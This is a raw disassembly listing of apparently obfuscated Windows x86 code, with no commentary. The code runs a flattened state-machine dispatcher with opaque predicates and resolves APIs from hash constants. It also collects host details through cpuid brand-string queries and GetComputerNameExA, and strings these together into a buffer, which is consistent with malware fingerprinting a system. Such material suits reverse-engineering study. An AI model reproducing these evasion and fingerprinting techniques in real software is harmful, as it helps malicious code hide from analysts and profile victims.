add esp, 0x10
push edi
call fcn.004341d0
add esp, 4
mov eax, 0x863a2336
test edi, edi
je 0x436f13
mov eax, 0x6f4f0b35
mov dword [esi], eax
jmp 0x4341e7
mov ecx, dword [esi + 4]
mov eax, 0xfffffe5e
add ecx, eax
mov eax, ecx
shr eax, 0xd
add eax, 0xffffffd3
mov dword [esi + 4], eax
mov eax, 0x7a18dbdd
cmp ecx, 0x190000
jb 0x436f41
mov eax, 0x524f7fc6
mov dword [esi], eax
jmp 0x4341e7
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 4
add eax, 0x1d
mov dword [esi + 4], eax
mov eax, 0x357cb794
cmp ecx, 0x9a0
jb 0x436f68
mov eax, 0xec44c6ee
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x34]
mov dword [esi], 0xc5819afb
jmp 0x4341e7
mov eax, dword [esi + 0x14]
mov dword [esi], 0xeb1fd2bb
jmp 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xa
add eax, 0x68000
and eax, 0xffff8000
imul eax, eax, 0xa7
mov dword [esi + 4], eax
mov dword [esi], 0xf884d28d
jmp 0x4341e7
mov edi, dword [esi + 4]
add edi, 0xffffffdb
mov ebx, edi
shr ebx, 0xb
mov dword [esi + 4], ebx
call fcn.004079ef
push 0x6290
push ebx
push 0x2d87
push 0x44f0
call fcn.00439900
add esp, 0x10
mov eax, 0x7f31619f
cmp edi, 0x13800
jb 0x436fec
mov eax, 0xf0558411
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi + 4], 0
call fcn.004079ef
mov dword [esi], 0xf44ecfb2
jmp 0x4341e7
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x8a93974e
jmp 0x4341e7
push 0x18
push 0x466b90
push dword [esi + 0x7c]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0xf59aa411
jmp 0x4341e7
imul eax, dword [esi + 8], 0x5388
add eax, 0x22965
shr eax, 6
lea ecx, [eax + eax*4]
lea eax, [eax + ecx*4]
mov dword [esi + 8], eax
mov dword [esi], 0x36c848d1
jmp 0x4341e7
imul eax, dword [esi + 8], 0x6a
add eax, 0xffffff10
mov dword [esi + 8], eax
mov dword [esi], 0xa141c1ec
jmp 0x4341e7
mov dword [esi], 0x6f32ba4
jmp 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xd
add eax, 0x1e0000
shr eax, 0xe
mov edi, 0x44c10536
and eax, 0x3fe00
mov dword [esi + 4], eax
je 0x43709c
mov edi, 0x5e631d97
push 0x11d0
push 0x300b
push eax
call fcn.004250b7
add esp, 0xc
mov dword [esi], edi
jmp 0x4341e7
xor eax, eax
mov dword [esi + 4], eax
push 0x1bd0
push eax
push 0x5543
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0xf44ecfb2
jmp 0x4341e7
mov eax, dword [esi + 4]
mov ecx, 0xffffff06
add eax, ecx
shr eax, 0xe
add eax, 0x1d6
mov dword [esi + 4], eax
mov dword [esi], 0x8410c221
jmp 0x4341e7
mov dword [esi], 0xb14b28f1
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0x14
imul edi, eax, 0xa5
lea eax, [edi - 0x7b1b]
mov dword [esi + 4], eax
push 0x17e5
push 0x1a05
push eax
call fcn.004250b7
add esp, 0xc
mov eax, 0x173755c
cmp edi, 0x7b96
jae 0x43713e
mov eax, 0xc91f0dc7
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x100]
mov ecx, dword [esi + 0x104]
shrd eax, ecx, 0xa
shr ecx, 0xa
mov dword [esi + 0x10c], ecx
mov dword [esi + 0x108], eax
mov dword [esi], 0xb8fc25e5
jmp 0x4341e7
imul eax, dword [esi + 4], 0xf00
add eax, 0xfffffead
mov dword [esi + 4], eax
call fcn.004079ef
mov dword [esi], 0x6f4f0b35
jmp 0x4341e7
imul edi, dword [esi + 4], 0x10bc000
add edi, 0xffffff89
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
push 0xbaa
push 0x9b3
push 0x1741
push edi
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x2b64cc5d
jmp 0x4341e7
push 0x18
push 0x470520
push dword [esi + 0x6c]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0xe5444044
jmp 0x4341e7
push 0xa
push dword [esi + 0xe0]
push dword [esi + 0x118]
call fcn.0044b6cc
add esp, 0xc
mov dword [esi], 0x83fc6d78
jmp 0x4341e7
imul ecx, dword [esi + 4], 0x5511
mov dword [esi + 4], ecx
mov eax, 0xe38d4443
cmp ecx, 0x22
jl 0x43721e
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
add eax, 0xffffffcc
mov ecx, eax
shr ecx, 9
imul ecx, ecx
imul edx, ecx, 0x8011
dec edx
shr eax, 7
and eax, 0x1ffffc
mov dword [esi + 8], eax
mov eax, 0x26f04997
cmp edx, ecx
je 0x437253
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x4341e7
mov dword [esi], 0x8509b7d8
jmp 0x4341e7
mov edi, 0x1b
push edi
push 0x4705a0
push dword [esi + 0x88]
call fcn.00441d60
add esp, 0xc
push 5
push 0x4705bb
push edi
push dword [esi + 0x88]
call fcn.004399a0
add esp, 0x10
push 0x1c
push dword [esi + 0x88]
push dword [esi + 0x34]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0x64f6c2e5
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 7
lea ecx, [eax*4 + 0x49]
imul eax, eax
imul edx, eax, 0x2739
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xf18aa5e7
cmp edx, eax
je 0x4372da
mov ecx, 0x7a18dbdd
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x1b0], eax
mov dword [esi], 0x98fbf505
jmp 0x4341e7
mov dword [esi], 0x4f3bd559
jmp 0x4341e7
imul edi, dword [esi + 4], 0xb0
add edi, 0xffffffeb
mov dword [esi + 4], edi
push edi
push 0x2eca
push 0x3b1b
push 0x9fc
call fcn.00439900
add esp, 0x10
call fcn.004079ef
mov eax, 0x13ed62a0
cmp edi, 0xe8
jae 0x43736f
mov eax, 0x6a910d02
mov dword [esi], eax
jmp 0x4341e7
mov edi, dword [esi + 4]
shr edi, 3
add edi, 0xffffffa5
mov dword [esi + 4], edi
call fcn.004079ef
push 0x120a
push edi
push 0x299d
call fcn.004250b7
add esp, 0xc
mov eax, 0x5201ec0c
cmp edi, 0x22
jb 0x4373a9
mov eax, 0xc3c216ce
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
lea eax, [eax*4 - 0x36c]
shr eax, 0xb
mov dword [esi + 8], eax
mov dword [esi], 0xa0519cc0
jmp 0x4341e7
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xdc], eax
mov dword [esi], 0xb1a57c9a
jmp 0x4341e7
imul eax, dword [esi + 4], 0x218000
shr eax, 5
imul edi, eax, 0xea
or edi, 0x97
mov dword [esi + 4], edi
push edi
push 0x4be1
push 0x4cf1
push 0x4d8c
call fcn.00439900
add esp, 0x10
push edi
call fcn.004341d0
add esp, 4
mov eax, 0xb6a34bc2
cmp edi, 0xc9
jae 0x43742e
mov eax, 0xedd65c39
mov dword [esi], eax
jmp 0x4341e7
push 6
push 0x466bd8
push 0xc
push dword [esi + 0x9c]
call fcn.00439900
add esp, 0x10
push dword [esi + 0x9c]
push 0x2f9959e0
call fcn.0043cda8
add esp, 8
mov edi, 0x55
push edi
push dword [esi + 0xf4]
call eax
push 1
push edi
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xf8], eax
mov dword [esi], 0xc7289447
jmp 0x4341e7
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x1d0]
mov word [eax + ecx], 0xa
mov dword [esi], 0x9d4ee772
jmp 0x4341e7
mov eax, dword [esi + 8]
add eax, 0xffffffc8
shr eax, 8
imul ecx, eax, 0x320
imul eax, eax
imul edx, eax, 0x7025
dec edx
add ecx, 0xffff9818
mov dword [esi + 8], ecx
mov ecx, 0xa572ca24
cmp eax, edx
je 0x4374d3
mov ecx, 0xd426a01b
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0x1d4]
mov word [eax], 0xa
mov dword [esi], 0xd5e027db
jmp 0x4341e7
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 8]
mov dword [esi + 0x164], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [esi + 0x168], eax
mov eax, dword [esi + 0x18]
mov eax, dword [eax]
mov dword [esi + 0x16c], eax
mov eax, dword [esi + 0x160]
lea eax, [eax*4 + 0x4704e0]
mov dword [esi + 0x170], eax
mov dword [esi], 0xedd65c39
jmp 0x4341e7
mov dword [esi + 0x110], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
mov dword [esi], 0x58d7c070
jmp 0x4341e7
mov eax, dword [esi + 0x94]
movzx ecx, word [0x470600]
mov word [eax + 0xc], cx
mov ecx, dword [0x4705fc]
mov dword [eax + 8], ecx
mov ecx, dword [0x4705f8]
mov dword [eax + 4], ecx
mov ecx, dword [0x4705f4]
mov dword [eax], ecx
mov dword [esi], 0x8e6e61a8
jmp 0x4341e7
push 1
push 0x4000
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xc], eax
mov dword [esi], 0x719fe0ff
jmp 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xffffff61
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5957
shl eax, 7
dec edx
mov dword [esi + 8], eax
mov eax, 0x36d9640b
cmp edx, ecx
je 0x4375cc
mov eax, 0xfd4792a
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xb
lea eax, [eax + eax*2]
or eax, 0xb9
mov dword [esi + 4], eax
push 0x14eb
push 0x55cf
push eax
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0x8c9a7c36
jmp 0x4341e7
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi], 0x41e179c3
jmp 0x4341e7
mov eax, dword [esi + 0x80]
mov byte [eax + 8], 0
mov eax, dword [esi + 0x80]
mov ecx, dword [0x470564]
mov dword [eax + 4], ecx
mov ecx, dword [0x470560]
mov dword [eax], ecx
mov eax, 8
push eax
push 0x470568
push eax
push dword [esi + 0x80]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x15fa78a4
jmp 0x4341e7
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0xa0]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x4c]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0x15d2c650
jmp 0x4341e7
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xc3]
imul eax, eax
imul edx, eax, 0x1eb7
imul ecx, ecx, 0x20c
add ecx, 0x1ca8
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x7f5b2380
cmp edx, eax
je 0x4376ed
mov ecx, 0xcf0ed0fc
mov dword [esi], ecx
jmp 0x4341e7
mov dword [esi], 0x2b64cc5d
jmp 0x4341e7
push dword [esi + 0xd8]
push 0x5f086d32
call fcn.0043cda8
add esp, 8
mov dword [esi + 0x1d8], eax
mov dword [esi], 0xd1dcb68d
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0xffffff60
add edi, eax
mov eax, edi
shr eax, 5
add eax, 0xffffff57
mov dword [esi + 4], eax
call fcn.004079ef
mov eax, 0xf5ffcb43
cmp edi, 0x2ec0
jae 0x437751
mov eax, 0xd9df720d
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x11c]
mov word [eax], 0
push 0x14
push 0x466b40
push dword [esi + 0x68]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0x84554dd1
jmp 0x4341e7
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x150], eax
mov dword [esi], 0xbf762f50
jmp 0x4341e7
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi], 0xb48e79f6
jmp 0x4341e7
imul eax, dword [esi + 8], 0xa1
add eax, 0x47b2
mov ecx, eax
shr ecx, 9
imul eax, eax
imul edx, eax, 0x6c81
add ecx, 0x8b
dec edx
shr ecx, 0xb
mov dword [esi + 8], ecx
mov ecx, 0x188fec6
cmp edx, eax
je 0x4377e8
mov ecx, 0x8792d193
mov dword [esi], ecx
jmp 0x4341e7
imul eax, dword [esi + 8], 0xc20
add eax, 0x107ab
mov dword [esi + 8], eax
mov dword [esi], 0x1b484b2e
jmp 0x4341e7
imul eax, dword [esi + 4], 0x1cc000
mov dword [esi + 4], eax
push 0x1d76
push 0x2e2e
push 0x373
push eax
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x7a18dbdd
jmp 0x4341e7
mov eax, dword [esi + 8]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add eax, ecx
add eax, 0xffffff36
mov dword [esi + 8], eax
mov dword [esi], 0x9dfccdd7
jmp 0x4341e7
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0x8da7a2e7
jmp 0x4341e7
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x50]
mov eax, dword [esi + 0x4c]
mov eax, dword [esi + 0x48]
mov dword [esi], 0xf85c6f06
jmp 0x4341e7
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x144]
mov word [eax + ecx], 0xa
mov dword [esi], 0x9ddfb641
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0x107
add edi, eax
mov dword [esi + 4], edi
call fcn.004079ef
mov eax, 0xede0b7b1
cmp edi, 0x29
jl 0x4378bd
mov eax, 0x83fc6d78
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 4], 0x1500
add eax, 0xfff75ff8
mov dword [esi + 4], eax
mov dword [esi], 0xba19f14a
jmp 0x4341e7
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1b8]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
add eax, 0x14
mov dword [esi + 0x1bc], eax
mov dword [esi], 0xe2f223ef
jmp 0x4341e7
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xa520232e
jmp 0x4341e7
push 7
push 0x470644
push 0xc
push dword [esi + 0xa0]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x2a06db1b
jmp 0x4341e7
imul eax, dword [esi + 4], 0x1f464000
or eax, 0x1f80
mov dword [esi + 4], eax
mov dword [esi], 0x5e631d97
jmp 0x4341e7
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x134], eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
mov dword [esi], 0xd9df720d
jmp 0x4341e7
push dword [esi + 0xf8]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x190], eax
mov dword [esi], 0xc612c5ad
jmp 0x4341e7
mov edi, dword [esi + 4]
add edi, 0xffffffa8
shr edi, 0x1b
add edi, 0xffffffd5
mov dword [esi + 4], edi
call fcn.004079ef
push edi
push 0x5691
push 0x25d0
call fcn.004250b7
add esp, 0xc
mov dword [esi], 0xf884d28d
jmp 0x4341e7
imul eax, dword [esi + 8], 0x9b
add eax, 0x52e1
mov ecx, eax
shr ecx, 4
imul eax, eax
imul edx, eax, 0xe71
dec edx
imul ecx, ecx, 0x3d
mov dword [esi + 8], ecx
mov ecx, 0x670d9188
cmp eax, edx
je 0x437a09
mov ecx, 0xc506f8ea
mov dword [esi], ecx
jmp 0x4341e7
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x20], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov eax, esp
mov dword [esi + 0x5c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x64], eax
mov dword [esi], 0xe57461c3
jmp 0x4341e7
mov ecx, dword [esi + 8]
lea eax, [ecx*4]
lea eax, [eax + eax*4]
shr eax, 2
imul eax, eax
imul edx, eax, 0x7787
dec edx
shl ecx, 0x19
lea ecx, [ecx + ecx*4]
mov dword [esi + 8], ecx
mov ecx, 0x7a18dbdd
cmp edx, eax
je 0x437aa4
mov ecx, 0x1b9c2852
mov dword [esi], ecx
jmp 0x4341e7
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xfc]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x5c]
mov dword [eax], 0xa424d
mov dword [esi], 0xa30b2c58
jmp 0x4341e7
mov dword [esi], 0xa0154fbc
jmp 0x4341e7
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x158], eax
mov dword [esi], 0x3354f554
jmp 0x4341e7
mov eax, dword [esi + 8]
add eax, 0xffffff98
imul ecx, eax, 0x595e
imul eax, eax
imul edx, eax, 0x2c5b
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x8c9a7c36
cmp eax, edx
je 0x437b4b
mov ecx, 0x6c7ffcc
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 8]
shr eax, 3
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2511
dec edx
mov eax, 0xeb1fd2bb
cmp edx, ecx
je 0x437b75
mov eax, 0xc7f149d1
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 8]
mov ecx, 0xffffff70
add eax, ecx
imul ecx, eax, 0x4ee4
imul eax, eax
imul edx, eax, 0x6e37
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x59e1d201
cmp eax, edx
je 0x437ba7
mov ecx, 0x94fbdada
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0x130]
mov ecx, dword [esi + 0x70]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.kJQULo
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xbde0d5d0
jmp 0x4341e7
mov ecx, dword [esi + 8]
mov eax, ecx
shl eax, 5
add eax, ecx
imul eax, eax
shl ecx, 0x1e
imul edx, eax, 0x1c1b
add ecx, 0x40000000
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xe67f83a
cmp eax, edx
je 0x437c16
mov ecx, 0xc5e14dae
mov dword [esi], ecx
jmp 0x4341e7
imul eax, dword [esi + 8], 0x2180
add eax, 0xfffff140
mov dword [esi + 8], eax
mov dword [esi], 0xb218a53a
jmp 0x4341e7
imul eax, dword [esi + 4], 0x35
shr eax, 0xd
mov dword [esi + 4], eax
push 0x5a07
push eax
push 0x3997
push 0x17f8
call fcn.00439900
add esp, 0x10
call fcn.004079ef
mov dword [esi], 0xc790f37e
jmp 0x4341e7
imul ecx, dword [esi + 4], 0x28fc0
add ecx, 0xfffde28b
mov dword [esi + 4], ecx
mov eax, 0x34af77a1
cmp ecx, 4
jl 0x437c88
mov eax, 0x94fbdada
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x190]
mov word [eax], 0xa
mov dword [esi], 0xd73ceb27
jmp 0x4341e7
imul eax, dword [esi + 8], 0xf3
add eax, 0x1e
mov ecx, eax
imul ecx, eax
shr eax, 4
imul edx, ecx, 0x17a7
dec edx
lea eax, [eax*4 - 0x2f]
mov dword [esi + 8], eax
mov eax, 0xd5c46b10
cmp edx, ecx
je 0x437cd6
mov eax, 0x74b82696
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 8], 0x2500
shr eax, 8
mov dword [esi + 8], eax
mov dword [esi], 0xfbe92400
jmp 0x4341e7
mov ecx, dword [esi + 4]
mov eax, 0xffffff5d
add ecx, eax
mov eax, ecx
shr eax, 0xf
mov dword [esi + 4], eax
mov eax, 0xb5399fba
cmp ecx, 0x690000
jb 0x437d19
mov eax, 0x8410c221
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xd8], eax
mov dword [esi], 0xbb71be43
jmp 0x4341e7
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 5
lea eax, [ecx + eax*2]
shr eax, 7
imul edi, eax, 0x5d
add edi, 0x6f
mov dword [esi + 4], edi
push 0x15d5
push edi
push 0x4a0f
push 0x2984
call fcn.00439900
add esp, 0x10
mov eax, 0x524f7fc6
cmp edi, 0x4f
jae 0x437d7f
mov eax, 0xbf762f50
mov dword [esi], eax
jmp 0x4341e7
push dword [esi + 0xe8]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x13c], eax
mov dword [esi], 0x472e3cc0
jmp 0x4341e7
mov eax, dword [esi + 0x170]
mov eax, dword [eax]
mov dword [esi + 0x174], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi], 0xd5e1a957
jmp 0x4341e7
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x128], eax
mov dword [esi], 0x7f31619f
jmp 0x4341e7
mov dword [esi + 8], 0
mov dword [esi], 0x1af124cf
jmp 0x4341e7
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov dword [esi + 0x198], eax
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xac]
mov dword [esi + 0x19c], eax
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov dword [esi + 0x1a0], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x194]
mov dword [eax], ecx
mov eax, dword [esi + 0x10]
add eax, 4
mov dword [esi + 0x1a4], eax
mov dword [esi], 0x12952900
jmp 0x4341e7
imul edi, dword [esi + 4], 0x276
add edi, 0x11cf9
mov eax, edi
shr eax, 6
add eax, 0x68
mov dword [esi + 4], eax
push 0x21f5
push 0x1088
push eax
call fcn.004250b7
add esp, 0xc
call fcn.004079ef
mov eax, 0xe67f83a
cmp edi, 0x1b40
jb 0x437ec4
mov eax, 0x73876ae7
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 0xa
imul edi, eax, 0x3504
add edi, 0xffffffe5
mov dword [esi + 4], edi
push 0x486b
push 0x1699
push edi
push 0x27f5
call fcn.00439900
add esp, 0x10
mov eax, 0x427e6b9c
cmp edi, 0xb5
jae 0x437f07
mov eax, 0x229630c
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x138]
lea ecx, [esi + 0x114]
push ecx
push dword [esi + 0xe8]
call eax
sub esp, 8
mov edi, esp
mov byte [edi + 6], 0
movzx eax, word [0x47055a]
mov word [edi + 4], ax
mov eax, dword [0x470556]
mov dword [edi], eax
push 4
push 0x47055c
push 6
push edi
call fcn.004399a0
add esp, 0x10
mov eax, dword [edi]
mov ecx, dword [edi + 3]
mov dword [esi + 0x1f3], ecx
mov dword [esi + 0x1f0], eax
mov dword [esi], 0x398a740e
jmp 0x4341e7
mov edi, dword [esi + 4]
mov eax, 0x18f
add edi, eax
mov dword [esi + 4], edi
push 0x3864
push edi
push 0x947
call fcn.004250b7
add esp, 0xc
push edi
push 0x5a9b
push 0x136
push 0x531e
call fcn.004399a0
add esp, 0x10
mov eax, 0x83fc6d78
cmp edi, 0x8c
je 0x437fb6
mov eax, 0x4fabe3a2
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x90]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0x90]
mov cl, byte [0x4705eb]
mov byte [eax + 0xc], cl
mov ecx, dword [0x4705e7]
mov dword [eax + 8], ecx
mov ecx, dword [0x4705e3]
mov dword [eax + 4], ecx
mov ecx, dword [0x4705df]
mov dword [eax], ecx
push 8
push 0x4705ec
push 0xd
push dword [esi + 0x90]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0x56e558fd
jmp 0x4341e7
mov edi, dword [esi + 4]
shr edi, 3
add edi, 0xb3
shr edi, 0x17
mov dword [esi + 4], edi
push 0x4e80
push edi
push 0x148
push 0x16f9
call fcn.004399a0
add esp, 0x10
mov eax, 0x1cdc5410
cmp edi, 5
je 0x43804b
mov eax, 0x7e22b5d6
mov dword [esi], eax
jmp 0x4341e7
mov ebx, dword [esi + 4]
shl ebx, 0xc
mov edi, 0x164f71a1
add ebx, 0xfff06000
mov dword [esi + 4], ebx
je 0x43806d
mov edi, 0x8c9a7c36
push ebx
push 0x22cd
push 0x28f6
push 0x4a96
call fcn.004399a0
add esp, 0x10
push ebx
call fcn.004341d0
add esp, 4
mov dword [esi], edi
jmp 0x4341e7
imul edi, dword [esi + 4], 0x22342188
add edi, 0x413487c
mov dword [esi + 4], edi
push 0x28ca
push 0x2735
push 0xc76
push edi
call fcn.00439900
add esp, 0x10
mov eax, 0x79322a22
cmp edi, 8
jb 0x4380cc
mov eax, 0x54c5384c
mov dword [esi], eax
jmp 0x4341e7
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi], 0xacd3253b
jmp 0x4341e7
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xa4], eax
mov dword [esi + 0xa8], ebx
mov dword [esi + 0xac], ecx
mov dword [esi + 0xb0], edx
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov eax, dword [esi + 0xa4]
mov dword [esi + 0x194], eax
mov dword [esi], 0xba6311c4
jmp 0x4341e7
mov eax, dword [esi + 0x7c]
mov word [eax + 0x18], 0
mov dword [esi], 0xce7ace38
jmp 0x4341e7
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
push dword [esi + 0x14]
push dword [esi + 0x30]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi], 0xe680363f
jmp 0x4341e7
push 4
push 0x470538
push 0x18
push dword [esi + 0x6c]
call fcn.004399a0
add esp, 0x10
push 0x19
push dword [esi + 0x6c]
push dword [esi + 0x12c]
call fcn.00441d60
add esp, 0xc
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x130], eax
mov dword [esi], 0xf0558411
jmp 0x4341e7
mov dword [esi], 0xb0fa851f
jmp 0x4341e7
mov dword [esi], 0x9c15aef3
jmp 0x4341e7
mov eax, dword [esi + 0x1c]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.00442860
add esp, 0xc
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0x1d8ef52a
jmp 0x4341e7
mov eax, dword [esi + 4]
shr eax, 1
and eax, 0x1ffc00
mov dword [esi + 4], eax
mov dword [esi], 0x6b36a75c
jmp 0x4341e7
imul eax, dword [esi + 8], 0x91
lea ecx, [eax - 0xa1]
imul eax, eax
imul edx, eax, 0x4cd1
dec edx
shr ecx, 0xe
add ecx, 0xffffffec
mov dword [esi + 8], ecx
mov ecx, 0xbeafbe88
cmp edx, eax
je 0x438236
mov ecx, 0x3d690808
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 4]
add eax, eax
inc eax
imul ecx, eax, 0xbde600
mov dword [esi + 4], ecx
mov eax, 0xa2289e00
cmp ecx, 0x7b
jge 0x43825b
mov eax, 0xff6a3c06
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x84]
mov byte [eax + 0xd], 0
mov dword [esi], 0xa645f8e4
jmp 0x4341e7
mov eax, dword [esi + 0x58]
mov dword [esi], 0xa16d3975
